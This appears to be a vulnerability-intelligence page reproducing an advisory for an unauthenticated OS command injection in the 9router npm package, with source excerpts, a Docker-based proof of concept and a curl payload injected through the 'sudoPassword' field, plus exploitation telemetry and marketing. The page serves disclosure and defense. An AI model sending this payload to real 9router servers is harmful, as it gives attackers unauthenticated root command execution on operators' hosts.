Vulnerability report

Active exploitation observed Confirmed confidence Not in CISA KEV

GHSA-G6G7-PVMX-M74P

Linked CVE: CVE-2026-59800

9router: Missing Authorization and OS Command Injection

Npm / 9router · affected before 0.4.44

Severity
CVSS 9.2 · Critical
Confidence
Confirmed
Exploit status
Observed in sensors
EPSS
1.3%
First observed
10 Jul 2026
Last observed
14 Jul 2026

Decision summary

What security teams need to know first

Direct answers before the deeper technical record.

What it is

GHSA-G6G7-PVMX-M74P is an unauthenticated 9router: Missing Authorization and OS Command Injection. # Unauthenticated RCE via `/api/tunnel/tailscale-install` **Affected:** `9router` (npm package) — current master...

Is it exploited?

Yes. Previdian sensors observed exploitation attempts with confirmed confidence. Also confirmed by third-party sources.

Who is affected?

Npm / 9router affected before 0.4.44.

What should we do?

Patch immediately, validate internet-facing exposure, and monitor for matching requests.

Overview

9router: Missing Authorization and OS Command Injection

# Unauthenticated RCE via `/api/tunnel/tailscale-install`

**Affected:** `9router` (npm package) — current master (`v0.4.39`).

### Summary

`POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes.

### Details

#### 1. Middleware matcher (`src/proxy.js:3-15`)

```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", "/api/cli-tools/:path*", "/api/mcp/:path*", ], }; ```

Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire `/api/tunnel/*` family — do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them.

#### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`)

```js export async function POST(request) { const body = await request.json().catch(() => ({})); ... const sudoPassword = body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || ""; ... const result = await installTailscale(sudoPassword, shortId, (msg) => { send("progress", { message: msg }); }); ... } ```

`body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux.

#### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`)

```js async function installTailscaleLinux(sudoPassword, log) { log("Downloading install script..."); return new Promise((resolve, reject) => { const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... }); let scriptContent = ""; curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); }); curlChild.on("exit", (code) => { if (code !== 0) return reject(...); log("Running install script..."); const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true }); ... child.stdin.write(`${sudoPassword}\n`); // ← from request body child.stdin.write(scriptContent); child.stdin.end(); }); }); } ```

The byte stream sent to the stdin of the `sudo -S sh` child process is:

``` <sudoPassword from request body>\n <https://tailscale.com/install.sh body> ```

When the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password — it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line:

1. The `sudoPassword` value from the request — interpreted as the first shell command. 2. The `install.sh` body — interpreted as subsequent shell input.

Appending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user.

Both "Docker container running as root" and "`npm i -g 9router` on a host with `NOPASSWD` sudo" reach this path.

### PoC

The reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload.

**Step 1 — build the target image**

```sh docker build -t 9router-vuln-root - <<'EOF' FROM node:22-bookworm-slim RUN apt-get update && apt-get install -y --no-install-recommends \ sudo curl ca-certificates \ && rm -rf /var/lib/apt/lists/* RUN npm install -g [email protected] EXPOSE 20128 CMD ["9router"] EOF ```

**Step 2 — start the target**

```sh docker run -d --rm --name target -p 127.0.0.1:20129:20128 \ 9router-vuln-root 9router --log --skip-update until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done ```

**Step 3 — exploit (one unauthenticated POST)**

```sh curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \ -H 'Content-Type: application/json' \ -d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}' ```

**Step 4 — verify**

```sh docker exec target cat /tmp/pwned.txt # uid=0(root) gid=0(root) groups=0(root) ```

The trailing `"Tailscale not installed"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id > /tmp/pwned.txt` write completed earlier in the same `sh` invocation. The POST carried no credentials, cookies, or prior state.

### Impact

**Type:** Improper Access Control + OS Command Injection (CWE-862 + CWE-78).

**Affected operators:** 9router operators on Linux/macOS whose deployment matches one of the following configurations:

| Configuration | Example | Outcome | |---|---|---| | Node process runs as root | Custom `Dockerfile` without `USER`, `systemd` unit without `User=`, `sudo npm i -g 9router && sudo 9router` | Unauthenticated remote root RCE (primary case in this report) | | Node process runs as a normal user with `NOPASSWD` sudo | Developer laptop, CI runner, or single-tenant VPS where the operator's user has `NOPASSWD: ALL` | Unauthenticated remote RCE as the operator's user; root reachable via `sudo` from the foothold | | Node process runs as a normal user without `NOPASSWD` and no stored password | Hardened multi-user host | The spawn runs but `sudo` rejects the supplied value. No RCE; the request still triggers an outbound fetch from `tailscale.com` and the SSE error stream reveals platform information |

Vendor Product Affected Status
decolua 9router Before 0.4.44 Affected
decolua 9router 0.4.44 Unaffected
View vendor advisory (opens in new tab)
Published
02 Jul 2026
Exploited Since
10 Jul 2026
Attack vector
Remote
Complexity
Low
Privileges
None
User interaction
None

Tags

edge

CVE References

Exploitation evidence

Why Previdian marks this advisory as exploited

Third-party attestation and first-party sensor observation are shown separately so teams can judge the evidence chain.

Exploited in the wild

The Shadowserver

Recorded 31 Jul 2026

Previdian independently recorded this as exploited after first seeing it in honeypot sensors.

Active exploitation observed

Previdian sensor

First observed 13 Jul 2026

Previdian first observed exploitation attempts targeting this vulnerability in our honeypot sensors.

Proof of concept available

Pruva

Recorded 08 Jul 2026

Public scanner or PoC coverage increases practical exploitability.

Known exploited vulnerability sources

Per-source evidence links for KEV attestations are available through the Previdian Pro API.

Learn about Pro API access
Source Added
The Shadowserver First 2026-07-31 00:00 UTC
Previdian 2026-08-01 11:09 UTC

Operational indicators for this CVE are listed under Detection.

Sensor telemetry

First-party evidence of exploitation activity

Previdian sensors recorded exploitation attempts targeting this vulnerability. The cards and chart show volume, unique attackers, and daily activity.

0

Attempts observed

0

Unique attacker IPs

Attacker countries

Sensors observed

GHSA-G6G7-PVMX-M74P exploitation attempts over the last 91 days

Daily events observed by Previdian sensors

Updated 13 Sep 2026

No daily activity in the retention window.

First observed 10 Jul 2026 · Last observed 14 Jul 2026

Pro adds sensor region and window summaries. Enterprise adds raw IPs, paths, User-Agents, and payloads.

Request telemetry access

Detection

Operational artifacts and observed signals

Make the evidence actionable in scanner, SOC, and edge-control workflows.

Observed signals

Request targets
User-Agents
Callback hosts
0
0
1

Request targets and User-Agents available in Pro. Callback host details available in Enterprise.

Scanner coverage

No scanner integrations recorded yet.

Virtual patch status

No Previdian virtual patch is currently available. Future rules ship for ModSecurity, Cloudflare, and AWS WAF.

Learn about virtual patches →

Attacker IP Indicators

Attacker IP indicators observed · available in Pro and Enterprise.

Sensor-derived attacker IP indicators are available to Pro and Enterprise accounts under Detection and through the Pro API.

Learn about Pro API access

Risk and context

Severity, weaknesses, and research context

CVSS v4.0

9.2 Critical
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS

1.3%

Recent mention · RecordedFuture

August 2026 CVE Landscape

In August 2026, Insikt Group® identified 73 high-impact vulnerabilities that should be prioritized for remediation, 43 of which had a Very Critical Recorded Future Risk Score. This represents a 14% decrease from last month.

Read full advisory

Potential Proof of Concepts

These PoCs are unverified and could contain malware. Use at your own risk.

Timeline

From disclosure to observed exploitation

  1. Added to Previdian KEV Feed

    High-confidence, third-party attested exploitation

  2. Observed by Previdian sensors

    Evidence-backed exploitation signal

  3. Indicators of compromise added (3)

    Indicators of compromise recorded

  4. Public PoC available

    Public proof-of-concept code published

  5. GitHub Advisory published

    Vulnerability disclosed publicly

Pro API

Automate this intelligence

Confidence, exploit status, sensor telemetry, PoCs, scanner integrations, mentions, and tags are available programmatically for VM, SOC, and CTI workflows.

  • Evidence confidence and provenance
  • First-party sensor telemetry
  • PoC and scanner references
  • Affected versions and enrichment
  • Automation-ready JSON delivery

GET /api/v2/pro/kevs/GHSA-G6G7-PVMX-M74P

Free JSON includes basic KEV fields
{
  "ghsa_id": "GHSA-G6G7-PVMX-M74P",
  "confidence": "Confirmed",
  "cvss_score": 9.2,
  "cvss_estimated": false,
  "epss_score": 0.01338,
  "exploit_status": {
    "exploited_in_the_wild": true,
    "active_exploitation_observed": true
  },
  "sensor_telemetry": { "attempts": 0, "sensors": 0 }
}